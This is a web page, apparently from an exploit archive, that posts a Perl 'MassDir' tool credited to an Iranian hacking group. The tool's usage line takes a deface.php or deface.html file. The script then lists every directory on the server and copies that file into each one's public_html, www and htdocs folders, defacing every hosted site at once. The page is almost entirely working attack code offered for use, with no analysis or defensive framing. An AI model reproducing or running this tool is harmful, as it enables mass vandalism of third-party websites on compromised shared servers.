facebook facebook twitter rss

I.C.S.G MassDir Tool

Author: Iran Cyber Security Group , Published: 13-07-2015
#!/usr/bin/perl
#I.C.S.G MassDir Tool
#
#Coded By WH!T3 W01F
#
#Iran-Cyber.Org
#
#Spc Tnx: root3r | MOHAMAD-NOFOZI | KamraN HellisH | JOK3R |
#
print q {
_____ _____ _ ____
|_ _| / ____| | | / __ \
| | _ __ __ _ _ __ ______ | | _ _| |__ ___ _ __ | | | |_ __ __ _
| | | '__/ _` | '_ \ |______| | | | | | | '_ \ / _ \ '__| | | | | '__/ _` |
_| |_| | | (_| | | | | | |___| |_| | |_) | __/ | _ | |__| | | | (_| |
|_____|_| \__,_|_| |_| \_____\__, |_.__/ \___|_| (_) \____/|_| \__, |
__/ | __/ |
|___/ |___/

};
sleep(2);
print "\n";
print "\t +=====================================================+\n";
print "\t | I.C.S.G MassDir Tool |\n";
print "\t | Author: WH!T3 W01F |\n";
print "\t | Iran-Cyber.Org |\n";
print "\t | Spc Tnx: root3r|MOHAMAD-NOFOZI|KamraN HellisH|JOK3R |\n";
print "\t +=====================================================+\n";
print "\n";
$usage = " \nperl $0 <deface.php or deface.html>\n perl $0 deface.php";
die "$usage" unless $ARGV[0];
$file="$ARGV[0]";
print "\nCollecting Directories List.\n\n";
open("FILE", ">dirs.txt") or die "Can't Collect Directory Lists.";
print FILE `ls -d */`;
close("FILE");
print "Collected Directories List.\n\n";
open("dirr","<dirs.txt") or die "Couldn't Collect Directory Lists.\n\n";
print "Mass Dir Started ...\n\n";
while(<dirr>){
chomp($_);
$dir = $_;
$dir2=$dir;
system("cp $file $dir2");
system("cp $file $dir2/public_html/");
system("cp $file $dir2/www/");
system("cp $file $dir2/htdocs/");
system("cp $file $dir2/htdocs/www/");
}
print "Mass Dir Finished !\n\n";
close("dirr");
system("rm dirs.txt");
open("FILE2", ">dirs2.txt") or die "Can't Collect Results\n\n";
print FILE2 `ls -d */`;
close("FILE2");
print "Results : \n\n";
open("dirr2","<dirs2.txt") or die "Can't Collect Results.\n\n";
while(<dirr2>){
chomp($_);
$dir = $_;
$dir2=$dir.$file;
print "$dir2\n";
}
close("dirr2");
system("rm dirs2.txt");

Like us on Facebook :